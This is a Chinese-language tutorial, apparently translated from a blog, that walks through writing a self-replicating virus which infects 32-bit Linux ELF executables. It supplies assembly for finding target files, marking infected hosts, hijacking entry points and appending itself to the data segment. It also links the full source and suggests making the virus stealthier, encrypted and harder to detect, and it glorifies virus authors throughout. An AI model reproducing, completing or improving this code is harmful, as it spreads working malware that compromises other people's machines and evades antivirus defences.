如何使用匯編語言編寫一個病毒

前言
病毒編寫的藝術似乎丟失了似的。我們不要將惡意軟件,特洛伊木馬,蠕蟲等等混淆成病毒。你可以使用任何友好的腳本語言去編寫那些垃圾程序并且拍著自己的后背嘚瑟一下,但這并不能讓你成為一個病毒作者。編寫計算機病毒并不一定就是你所看到的關于破壞,還得要看你的病毒可以傳播多廣泛同時避免被檢測,也得要比殺毒軟件公司更為聰明。這事關創新和創造力。一個計算機病毒在很多方面就像一個紙飛機。你需要使用聰明和具有創造性的方式去折飛機,并試圖使它在不可避免的著陸前盡可能長久的飛翔。在萬維網之前,傳播病毒是一種挑戰。運氣好的話,它會感染除了你自己之外的任何電腦。如果運氣更好點,你的病毒將獲得像鯨魚病毒或米開朗基羅病毒一樣的名聲。
如果你想被視為一個“病毒作者”,你必須獲得這類稱號。在地下黑客組織里,在黑客/破解者/入侵者之中,我最尊重的是病毒作者。因為不是任何人都能做到,那是真的能夠表現出他比別人擁有更深的、關于系統和軟件方面的知識。你不能指望簡單地遵循常規就能成為一個病毒作者。編寫一個真正的病毒需要比一般“黑客”擁有更多的技能。多年以來,我沒有成功的寫出一個可以運行良好的二進制文件感染病毒。一直就是報錯、報錯、報錯。這是一件令人沮喪的事情。因此我堅持編寫蠕蟲、木馬炸彈和ANSI炸彈。我堅持編寫BBS的漏洞利用,也去逆向視頻游戲軟件以破解其版權保護。每當我以為我的匯編技術終于足夠,試圖編寫出一個病毒的時候,失敗再次地落到我的臉上。我花了好幾年的時間才能夠編寫出一個真正可運行的病毒。這就是為什么我著迷于病毒并且想找出一些真正的病毒作者。在瑞安“elfmaster”奧尼爾傳奇的書籍《學習Linux二進制程序分析》中,他指出:
這是一個超越常規編程約定的偉大挑戰工程,它要求開發人員跳出傳統模式,去操縱代碼、數據和環境使其以某種方式表現,在與AV殺毒軟件開發者的交流時,令我吃驚的是,他們旁邊沒有人有任何真正關于如何逆向一個病毒的想法,更不用說去設計什么真正的啟發式來識別它們(除了簽名)。事實上,病毒編寫是非常困難的,并且需要標準比較嚴格的技能。
使用匯編語言編寫一個病毒
病毒是一種藝術。匯編和C(不使用代碼庫)將是你的畫筆。今天,我將幫助你經歷一些我面臨過的挑戰。讓我們開始吧,看看你是否擁有成為一個藝術家的潛能!
與我之前的“源代碼感染”病毒教程不同,這是更先進且具有挑戰性的經歷/運用(即使對經驗豐富的開發人員)。但是,我鼓勵你繼續閱讀并盡你所能地汲取。
讓我們先描述一下我認為的、一個真正病毒應該有的特點:
——病毒會感染二進制可執行文件
——病毒代碼必須是獨立的,它獨立于其他文件、代碼庫、程序等
——被感染的宿主文件能夠繼續執行并且傳播病毒
——病毒在不損害宿主文件的情況下表現得像一只寄生蟲。受感染的宿主應繼續像它被感染之前一樣執行
因為我們要感染二進制可執行文件,所以簡要列表介紹幾個不同的可執行文件類型。
- ELF-(可執行和鏈接的文件格式)Unix和類Unix系統標準的的二進制文件格式。這也被許多手機,游戲機(Playstation,任天堂)等等使用。
- Mach-O-(Mach對象)被NeXTSTEP,macOS,iOS等等,所使用的二進制可執行文件格式,你其實在用它,因為所有的蘋果手機都是這。
- PE-(便攜式可執行程序)用于32位和64位微軟操作系統
- MZ(DOS)- DOS支持的可執行文件格式…所有的微軟32位及以下操作系統使用
- COM(DOS)- DOS支持的可執行文件格式…所有的微系32位及以下操作系統使用
微軟的病毒教程有許多,但是ELF病毒似乎更具挑戰性并且教程稀缺,所以我將主要關注的是32位ELF程序的感染。
我將假設讀者至少對病毒復制的方式有一個常規的理解。如果沒有,我推薦你閱讀我以前的博客文章主題:
https://cranklin.wordpress.com/2011/11/29/how-to-create-a-computer-virus/
https://cranklin.wordpress.com/2012/05/10/how-to-make-a-simple-computer-virus-with-python/
第一步是找到要感染的文件。DOS指令集可以方便尋找文件。AH:4Eh INT 21指令能夠基于給定的文件描述找到第一個匹配的文件,而AH:4Fh INT 21指令可以找到下一個匹配的文件。不幸的是,對于我們卻不會這么簡單。使用Linux匯編來檢索文件列表,這相關的文檔并不是很多。少數的幾個回答中我們發現它依賴于POSIX系統的readdir()函數。但是我們是黑客,對么?讓我們做黑客應該做的事情來實現它。你應該熟悉的工具是strace。通過運行strace ls,我們看到了當運行ls命令時,跟蹤到的系統調用和信號。
你感興趣的調用是getdents。所以下一步是在http://syscalls.kernelgrok.com/查找”getdents”。這將給我們一個小小的提示,關于我們應該怎樣使用它以及我們如何得到一個目錄列表。下面就是我所發現的東西:
- mov eax, 5 ; sys_open
- mov ebx, folder ; 目錄名稱
- mov ecx, 0
- mov edx, 0
- int 80h
- cmp eax, 0 ; 檢測在eax中的fd是否 > 0 (ok)
- jbe error ; 不能打開文件, 以錯誤狀態退出
- mov ebx, eax
- mov eax, 0xdc ; sys_getdents64
- mov ecx, buffer
- mov edx, len
- int 80h
- mov eax, 6 ; 關閉
- int 80h
現在,我們指定的緩沖區里已經有了目錄的內容,我們必須去解析它。出于某種原因,每個文件名的偏移量似乎并沒有一致,但也可能是我錯了。不過我只對那些原始的文件名字符串感興趣。我所做的是打印緩沖區到標準輸出,然后保存它到另一個文件,再使用十六進制編輯器來打開它。我發現的規律是每個文件名都帶有一個前綴,前綴由十六進制值0x00(null)后緊跟一個十六進制0x08構成。文件名是以null為終止的(后綴為一個十六進制0x00)。
- find_filename_start:
- ; 尋找在一個文件名開始前的序列0008
- add edi, 1
- cmp edi, len
- jge done
- cmp byte [buffer+edi], 0x00
- jnz find_filename_start
- add edi, 1
- cmp byte [buffer+edi], 0x08
- jnz find_filename_start
- xor ecx, ecx ; 清空ecx,其將作為文件的偏移
- find_filename_end:
- ; 清空ecx,其將作為文件的偏移
- add edi, 1
- cmp edi, len
- jge done
- mov bl, [buffer+edi] ; 從緩沖區里移動文件名字節
- mov [file+ecx], bl
- inc ecx ; 增加保存在ecx的偏移量
- cmp byte [buffer+edi], 0x00 ; 代表文件名的結尾
- jnz find_filename_end
- mov byte [file+ecx], 0x00 ; 到這我們就拿到文件名了,在其尾部添加一個0x00
- ;; 對該文件做一些操作
- jmp find_filename_start ; 找下一個文件
其實有更好的方法來做這些事。你所需要做的只是去匹配目錄條目結構的字節:
- struct linux_dirent {
- unsigned long d_ino; /* Inode number */
- unsigned long d_off; /* 下一個linux_dirent的偏移 */
- unsigned short d_reclen; /* 這個linux_dirent的長度 */
- char d_name[]; /* 文件名 (null結尾) */
- /* length is actually (d_reclen - 2 -
- offsetof(struct linux_dirent, d_name)) */
- /*
- char pad; // Zero padding byte
- char d_type; // File type (only since Linux
- // 2.6.4); offset is (d_reclen - 1)
- */
- }
- struct linux_dirent64 {
- ino64_t d_ino; /* 64位inode number */
- off64_t d_off; /* 64位下個structure的偏移 */
- unsigned short d_reclen; /* 這個dirent的長度 */
- unsigned char d_type; /* 文件類型 */
- char d_name[]; /*文件名 (null結尾) */
- };
但我正在使用的是我發現的一種模式,它沒有使用到結構體中的偏移量。
下一步是檢查文件,看看是否:
——這是一個ELF可執行文件
——它是不是已經被感染
早些時候,我介紹了一些關于不同操作系統使用的不同類型的可執行文件。這些文件類型在其文件頭部都有不同的標志。例如,ELF文件總是從7f45 4c46開始。45-4c-46是ASCII字母E-L-F的十六進制表示。
如果你轉儲windows可執行文件十六進制數據,你會看到它開頭是4D5A,代表字母M-Z。
十六進制轉儲OSX可執行文件顯示了標記字節CEFA EDFE,也是小端的“FEED FACE”。
你可以在這里看到更多關于可執行文件格式和各自的標記:https://en.wikipedia.org/wiki/List_of_file_signatures
在我的病毒中,我要把自己的標記寫在了ELF文件頭中第9 - 12字節里未使用的地方。這是一個不錯的位置,可以用來存放一個雙字“0edd1e00”——我的名字。
我需要這個來標記我已經感染的文件,這樣我就不會再次感染已經感染過的文件。不然受感染文件的長度將像雪球一樣越滾越大,耶路撒冷病毒第一次就因此被檢測到。
通過簡單讀取前12個字節,我們可以確定該文件是否是一個好的感染對象然后再繼續下一個目標。我打算將每一個潛在的目標存儲在一個單獨的緩沖區,稱之為“目標”。
現在它開始要變得困難了。為了感染ELF文件,你需要了解一切關于ELF文件結構的知識。這里是一個很好的學習起點:http://www.skyfree.org/linux/references/ELF_Format.pdf。
不同于簡單的COM文件,ELF存在一些不同的挑戰問題。簡單來說,ELF文件包括:ELF頭,程序頭,節頭,和指令操作碼。
ELF頭告訴我們關于程序頭和節頭的信息。它也告訴我們程序在內存中的入口點位置(首先執行的指令操作碼)。
程序頭告訴我們,哪個“段”屬于TEXT段,哪個“段”屬于DATA段,也給出其在文件中的偏移。
節頭給出每個“節”和它們所屬“段”的信息。這可能有點令人困惑。首先要明白的是一個可執行文件在磁盤上和它運行在內存中是不同的狀態,而這些頭給出了這兩方面的相關信息。
TEXT段是可讀取/執行的代碼段,它包含了我們的代碼和其他只讀數據。
DATA段是可讀/寫的數據段,它包含了全局變量和動態鏈接的信息。
在TEXT段,有一個.text節和一個.rodata節。在DATA段中,有一個.data節和.bss節。
如果你熟悉匯編語言,這些節名應該對你來說聽起來很熟悉。
.text是代碼駐留的地方,.data是存儲初始化全局變量的地方。.bss包含未初始化的全局變量,因為它是未初始化的,所以沒有占用磁盤空間。
不像PE文件(微軟的),ELF文件沒有太多可以感染的區域。老式的DOS、COM文件幾乎允許你在任何地方添加病毒代碼,然后在100 h這個地址覆蓋內存代碼(因為COM文件總是在100 h的內存地址開始映射)。ELF文件不允許你寫TEXT段。下面這些是ELF感染病毒的主要方法:
感染Text段填充區
感染.text節的尾部。我們可以利用ELF文件的特點,當其加載到內存中,尾部會被使用‘0’來填充成一個完整的內存頁。受到內存頁長度的限制,所以我們只能在32位系統上容納一個4 kb病毒或在64位系統容納2 mb病毒。這看起來可能很小,但也足夠容納用C或者匯編語言編寫的小病毒。這一目標的實現方法是:
——修改入口點(ELF頭)到.text節的尾部
——增加節表(ELF頭)里對應節的頁長度
——增加Text段的文件長度和內存長度為病毒代碼的長度
——遍歷每個被病毒寄生后的程序頭,根據頁面長度增加對應的偏移
——找到Text段的最后一個節頭,增加其節長度(在節頭里)
——遍歷每個被病毒感染后的節頭,根據頁面長度增加對應的偏移
——在.text節的尾部插入實際的病毒代碼
——插入病毒代碼后跳轉到原始宿主的入口點執行
反向感染Text段
在允許宿主代碼保持相同虛擬地址的同時感染.text節區的前面部分。我們將反向擴展text段。在現代Linux系統中允許的最小虛擬映射地址是0x1000,這便是我們可以反向拓展text段的限制長度。在64位系統上,默認的text段虛擬地址通常是0x400000,這就有可能給病毒留下減掉ELF頭長度后的大小為0x3ff000的空間。在32位系統上,默認的text段虛擬地址通常是0x0804800,這就有可能產生更大的病毒。這一目標的實現方式是:
——增加節表(在ELF頭)里的偏移為病毒長度(對下一內存頁對齊值取余)
——在Text段程序頭里,根據病毒的長度(對下一內存頁對齊值取余)減小虛擬地址(和物理地址)
——在Text段程序頭里,根據病毒的長度(對下一內存頁對齊值取余)增加文件長度和內存長度
——根據病毒的長度(再次取余),遍歷每個程序頭的偏移,增加它的值到大于text段
——修改入口點(在ELF頭)到原始的text段虛擬地址——病毒的長度(再次取余)
——根據病毒的長度(再次取余),增加程序頭偏移(在ELF頭)
——插入病毒實體到text段的開始位置
Data段感染
感染數據段。我們將把病毒代碼附加到data段(在.bss節之前)。因為它是數據部分,我們的病毒代碼可以盡可能的大,像我們希望的那樣不受約束。Data內存段的數據有一個R + W(讀和寫)的權限設置,而Text內存段有R + X(讀和執行)權限設置。在沒有NX位設置的系統(如32位Linux系統)中,你可以執行Data段里的代碼而不用改變權限設置。然而,其他系統需要你在病毒寄存的內存段屬性中添加一個可執行的標志。
——根據病毒的長度增加節頭的偏移(在ELF頭)
——修改入口點(在ELF頭)指向數據段的尾部(虛擬地址+文件長度)
——在數據段程序頭里,根據病毒長度增加頁面和內存的長度
——根據病毒的長度增加.bss節的偏移(在節頭)
——設置數據段的可執行權限位(32位Linux系統不適用)。
——插入病毒實體到數據段的尾部
——插入代碼,跳轉到原始宿主的入口點
當然,還有更多感染的方法,但這些是首要選擇。對于我們的示例,將使用上面的第三個方法。
編寫病毒時還有另外一個比較大的障礙——變量。理想情況下,我們不希望合并(病毒和宿主).data節和.bss節。此外,一旦你匯編或編譯病毒,無法保證當病毒在宿主程序運行時你的變量始終在同一個虛擬地址。事實上,這幾乎是不會發生的事情,那樣的話宿主程序將會拋出段錯誤的提示。所以在理想情況下,你希望限制你的病毒到一個特定的節:.text。如果你有匯編的經驗,你就明白這是一項挑戰。我將和你們分享一些技巧,應該就會使這個過程更容易些。
首先,讓我們關照一下.data節變量(初始化了)。如果可能的話,“硬編碼”這些值。或者,假設我有我.asm代碼:
- section .data
- folder db ".", 0
- len equ 2048
- filenamelen equ 32
- elfheader dd 0x464c457f ; 0x7f454c46 -> .ELF (反轉字節序)
- signature dd 0x001edd0e ; 0x0edd1e00 反轉字節序后的簽名
- section .bss
- filename: resb filenamelen ; 目標文件路徑
- buffer: resb len ; 所有的文件名
- targets: resb len ; 目標文件名
- targetfile: resb len ; 目標文件內容
- section .text
- global v1_start
- v1_start:
- 你可以這樣做:
- call signature
- dd 0x001edd0e ; 0x0edd1e00反轉字節序后的簽名
- signature:
- pop ecx ; 現在值存在ecx里了
我們利用的是,當一個call指令被調用時,調用的當前指令的絕對地址將會被壓入棧內存里以期能夠正常返回。
這樣我們就可以遍歷每個.data節里的變量然后一起解決這個問題了。
至于.bss節里的變量(未初始化的),我們需要儲備一定數量的字節數據。我們在.text節里這樣做因為它屬于Text代碼段,其屬性被標記為r + x(讀取和執行),不允許在該內存段里寫數據。所以我決定使用堆棧。棧?是的,一旦我們把字節壓入堆棧,我們可以看到堆棧指針并保存這些標記。這里是我解決方案里的一個例子:
- ; 給未初始化的變量開辟棧內存空間以避免使用.bss節
- mov ecx, 2328 ; 設置循環計數2328 (x4=9312 bytes). filename(esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)
- loop_bss:
- push 0x00 ; 壓入4個字節(雙字)的0
- sub ecx, 1 ; 計數減一
- cmp ecx, 0
- jbe loop_bss
- mov edi, esp ; esp 有了我們要偽造的 .bss 偏移。 讓我們將它存儲在edi里。
注意到我一直在壓入0x00字節(在32位匯編壓棧一次將一個雙字壓入,正好是寄存器的長度)。確切地說,我們共壓入2328次。這樣大概給我們開辟一個大約9312字節的空間可以使用。一旦我完成所有的0字節壓棧,把ESP的值(即我們的堆棧指針)存儲起來,并把它作為我們“偽造.bss”的基址。我可以引用ESP +[offset]來訪問不同的變量。在我的例子中,我保存的[esp]對應filename,[esp + 32]對應buffer,[esp + 1056]對應targets,以及[esp + 2080]對應targetfile。
現在我就可以完全去除.data節和.bss節的使用了,并且整個病毒被唯一的一個.text節來承載!
readelf是一個很有用的工具。運行readelf –a[file]將會給你ELF頭/程序頭/節頭的一些細節:
這里有三個節:.text、.data、.bss
這里我們消除了.bss節:
在這里,我們已經完全消除了.data段。我們可以用.text節來單獨進行一切操作!
現在我們將需要讀取宿主文件的字節數據到一個緩沖區,對頭部進行必要的修改,并注入病毒標記。如果你做了給你的關于目錄條目結構和保存目標文件長度的家庭作業,將對你有好處。否則,我們將不得不一個字節一個字節地讀文件,直到系統讀到一個在EAX返回0 x00的調用,說明我們已經達到了EOF:
- reading_loop:
- mov eax, 3 ; sys_read
- mov edx, 1 ; 一次讀一個字節 (yeah, 我知道這可能是最好的)
- int 80h
- cmp eax, 0 ; 如果返回 0,我們讀到了EOF
- je reading_eof
- mov eax, edi
- add eax, 9312 ; 2080 + 7232 (2080 targetfile在我們偽造 .bss的偏移)
- cmp ecx, eax ; 如果文件超過 7232 字節, 退出
- jge infect
- add ecx, 1
- jmp reading_loop
- reading_eof:
- push ecx ;保存最后讀取的一個字節的地址, 我們后面需要用到它
- mov eax, 6 ;關閉文件
- int 80h
修改緩沖區是非常簡單的。記住,當移動任何超出一個字節時你必需得處理反向字節順序(小端)。
這里我們注入病毒標記并改變入口點指向我們在數據段尾部的病毒代碼。(文件長度不包括的.bss在內存中占據的空間):
- mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (內存虛擬地址)
- add ebx, edx ;新入口點 = phdr[data]->vaddr + p[data]->filesz
- mov ecx, 0x001edd0e ; 在8字節處插入我們的標志(ELF頭沒有用到的節)
- mov [edi+2080+8], ecx
- mov [edi+2080+24], ebx ; 用病毒覆蓋舊入口點 (在buffer里)
注意到我想存儲0xedd1e00(用十六進制字符編寫的我的名字)的病毒標記,但反向字節順序給了我們0x001edd0e。
你還會注意到,我用偏移算法找到通向我留給未初始化變量的棧底部區域。
現在我們需要定位DATA程序頭并做一些修改。訣竅是先找到PT_LOAD類型,然后確定其偏移是不是非0。如果其偏移量為0,它就是一個TEXT程序頭。否則,它就是DATA。
- section_header_loop:
- ; 循環通過節頭來尋找.bss節(NOBITS)
- ;0 sh_name 包含一個指向給定節的名字字符串指針
- ;+4 sh_type 給定節類型 [節的名稱
- ;+8 sh_flags 其他標志 ...
- ;+c sh_addr 運行時節到虛擬地址
- ;+10 sh_offset 節在文件中到偏移
- ;+14 sh_size zara white phone numba
- ;+18 sh_link根據節類型
- ;+1c sh_info 根據節類型
- ;+20 sh_addralign 對齊
- ;+24 sh_entsize 當節包含固定長度的入口時被使用
- add ax, word [edi+2080+46]
- cmp ecx, 0
- jbe finish_infection ; 找不到.bss節。 不需要擔心,可以完成感染
- sub ecx, 1 ; 計數減一
- mov ebx, dword [edi+2080+eax+4] ; shdr->type (節類型)
- cmp ebx, 0x00000008 ; 0x08是 NOBITS,.bss節的指標
- jne section_header_loop ; 不是.bss節
- mov ebx, dword [edi+2080+eax+12] ; shdr->addr (內存虛擬地址)
- add ebx, v_stop - v_start ; 增加我們病毒的長度給 shdr->addr
- add ebx, 7 ; 為了跳轉到起始入口點
- mov [edi+2080+eax+12], ebx ; 用新的覆蓋舊的shdr->addr(在緩沖區里)
- mov edx, dword [edi+2080+eax+16] ; shdr->offset (節的偏移)
- add edx, v_stop - v_start ; 增加我們病毒的長度給shdr->offset
- add edx, 7 ; 為了跳轉到起始入口點
- mov [edi+2080+eax+16], edx ; 用新的覆蓋舊的shdr->offset(在緩沖區里)
我們還需要修改.bss節頭。我們可以通過檢查類型標志NOBITS說這是否是一個節頭。節頭不一定需要為了運行可執行文件而存在。所以如果我們不能找到它,也沒什么大不了的,我們仍然可以繼續進行:
- ;dword [edi+2080+24] ; ehdr->entry (入口點的虛擬地址)
- ;dword [edi+2080+28] ; ehdr->phoff (程序頭便宜)
- ;dword [edi+2080+32] ; ehdr->shoff (節頭偏移)
- ;word [edi+2080+40] ; ehdr->ehsize (elf頭的長度)
- ;word [edi+2080+42] ; ehdr->phentsize (一個程序頭入口的長度)
- ;word [edi+2080+44] ; ehdr->phnum (程序頭入口的數量)
- ;word [edi+2080+46] ; ehdr->shentsize (一個節頭入口的長度)
- ;word [edi+2080+48] ; ehdr->shnum (程序頭入口的數量)
- mov eax, v_stop - v_start ; 我們病毒的長度減去到原始入口點的跳轉
- add eax, 7 ; 為了到原始入口點的跳轉
- mov ebx, dword [edi+2080+32] ; 原始節頭偏移
- add eax, ebx ; 增加原始節頭偏移
- mov [edi+2080+32], eax ; 用新的覆蓋舊的shdr->offset(在緩沖區里)
然后,當然我們需要通過修改節頭偏移對ELF頭作最后修改,因為我們感染data段的尾端(bss之前)。程序頭保持在同一位置:
- ;dword [edi+2080+24] ; ehdr->entry (virtual address of entry point)
- ;dword [edi+2080+28] ; ehdr->phoff (program header offset)
- ;dword [edi+2080+32] ; ehdr->shoff (section header offset)
- ;word [edi+2080+40] ; ehdr->ehsize (size of elf header)
- ;word [edi+2080+42] ; ehdr->phentsize (size of one program header entry)
- ;word [edi+2080+44] ; ehdr->phnum (number of program header entries)
- ;word [edi+2080+46] ; ehdr->shentsize (size of one section header entry)
- ;word [edi+2080+48] ; ehdr->shnum (number of program header entries)
- mov eax, v_stop - v_start ; size of our virus minus the jump to original entry point
- add eax, 7 ; for the jmp to original entry point
- mov ebx, dword [edi+2080+32] ; the original section header offset
- add eax, ebx ; add the original section header offset
- mov [edi+2080+32], eax ; overwrite the old section header offset with the new one (in buffer)
最后一步是注入病毒的實體代碼,并完成回到宿主代碼入口點的跳轉指令,以便我們毫無戒心的用戶看到宿主程序運行正常。
你可能會問自己的問題是,病毒如何抓取自己的代碼?病毒是如何確定自己的長度呢?這些都是很好的問題。首先,我使用標簽來標記病毒的開始和結束,然后使用簡單的數學偏移:
- section .text
- global v_start
- v_start:
- ; 病毒體開始
- ...
- ...
- ...
- ...
- v_stop:
- ; 病毒體結束
- mov eax, 1 ; sys_exit
- mov ebx, 0 ; 正常狀態
- int 80h
通過這樣做,我可以使用v_start作為病毒開始的偏移量,然后可以使用v_stop-v_start作為字節數量(長度)。
- mov eax, 4
- mov ecx, v_start ; 附加病毒部分
- mov edx, v_stop - v_start ; 病毒字節的長度
- int 80h
病毒的長度(v_stop - v_start)比較好計算,但是在第一次感染后病毒代碼的開頭(mov ecx, v_start)引用將會失敗。事實上,任何絕對地址的引用都將會失敗,因為不同宿主程序的內存位置都會發生改變。像v_start這種標簽的絕對地址是在編譯期間計算好的,而那取決于它如何被調用。你使用的正常短跳轉如jmp、jne、jnz等都將被轉換為相對于當前指令的偏移,不過像MOV這類標簽的地址就不會變。我們需要的是一個delta偏移量。delta偏移量就是從原始病毒當前宿主文件的虛擬地址差值。那么如何得到delta偏移量呢?這有一個我從90年初的DOS病毒教程“Dark Angel’s Phunky Virus Guide”里學來的一個非常簡單的技巧:
- call delta_offset
- lta_offset:
- pop ebp
- sub ebp, delta_offset
通過在當前位置調用一個標簽,當前指令的指針(絕對地址)就會被壓入棧以方便你可以知道你RET返回到哪里。我們只要把這個值從堆棧里彈出來就能獲得當前指令的指針。然后通過從當前地址減去原始病毒的絕對地址,我們就在EBP里獲得了delta偏移量!在原病毒執行期間delta偏移量將為0。
你會注意到,為了規避某些障礙,我們調用沒有RET的CALL,反之亦然。我建議你盡量不要在這個項目以外的地方這樣做,因為很顯然,丟失一個call/ret對將會導致性能損失…但現在不是正常的情況。
現在我們有了delta偏移量,讓我們切換v_start的引用為delta偏移量版本:
- mov eax, 4
- lea ecx, [ebp + v_start] ; 附加病毒部分 (用delta偏移計算)
- mov edx, v_stop - v_start ; 病毒數據的長度
- int 80h
注意到我并沒有在病毒里包含系統退出調用。這是因為我不想讓病毒在執行宿主代碼之前退出。相反,我把這部分替換為跳轉到原始宿主的代碼。由于不同宿主程序入口點會有所不同,我需要動態生成它然后直接注入操作碼。為了找出操作碼,你必須首先了解JMP指令本身的特點。JMP指令將試圖通過計算到目的地址的偏移做一個相對跳轉。我們要給它一個絕對位置。我通過匯編一個小程序里面的JMP短跳轉和JMP遠跳轉算出了它們的十六進制操作碼。JMP 操作碼從E9變到FF。
- mov ebx, 0x08048080
- jmp ebx
- jmp 0x08048080
匯編后,我運行“xxd”然后檢查字節數據就知道如何將它翻譯成操作碼了。
- pop edx ; 宿主程序的原始入口點
- mov [edi], byte 0xb8 ; MOV EAX的操作碼 (1 byte)
- mov [edi+1], edx ; 原始入口點 (4 bytes)
- mov [edi+5], word 0xe0ff ; JMP EAX操作碼 (2 bytes)
MOV一個雙字到寄存器EAX最終被表示為B8 xx xx xx xx。JMP到存儲在寄存器EAX里地址的指令最終被表示為FF E0
上面總共有7個額外字節添加到病毒的結尾。這也意味著,我們修改的每個偏移和文件長度必須加入這額外的7個字節。
因此我的病毒在緩沖區里的頭部做了修改(而不是在文件),然后用修改的緩沖區覆蓋宿主文件直到我們病毒代碼駐留的偏移位置。然后插入它本身(vstart,vstop-vstart)再繼續寫緩沖區字節的其余部分,最后轉接程序控制權給原始宿主文件。
一旦我匯編了病毒,我想在病毒的第8字節處手動添加病毒標記。這在我的示例中可能不是必要的,因為我的病毒會跳過目標如果它沒有一個DATA段的話,但實際也不會非總是這樣。打開你最喜歡的十六進制編輯器并添加這些字節吧!
現在我們完成了,讓我們來匯編并測試它:nasm -f elf -F dwarf -g virus.asm && ld -m elf_i386 -e v_start -o virus.o
我錄了一個測試視頻。這里面我聽起來像是有點缺乏熱情,只是因為現在是深夜,實際上我是欣喜若狂的。
既然你已經完成了閱讀,這里就貼上我過度評論的病毒源代碼鏈接:https://github.com/cranklin/cranky-data-virus
這是一個非常簡單的ELF感染病毒。它也可以通過非常簡單的調整進行改進:
——從ELF頭中提取更多的信息(32或64位、可執行文件等)
——在targetfile緩沖區后分配文件緩沖區。為什么?因為當我們獲得targetfile緩沖區時就不再使用文件緩沖區了,我們可以為來獲得一個更大的targetfile緩沖區而溢出文件緩沖區。
——遍歷目錄,這也可以通過一些稍微復雜的調整來改善:
——稍微覆蓋我們的行蹤更好地隱形
——加密!
——改變特征
——使用更難檢測的方法去感染
好了,這就是獻給大家的全部內容了。
總結
通過讀這篇文章,我希望你也能夠獲得一些關于啟發式病毒檢測知識(而不需要搜索特定病毒特征)。也許這將是改天的主題。或者我將介紹OSX病毒…也許我會做一些蹩腳的事情并演示一個Nodejs病毒。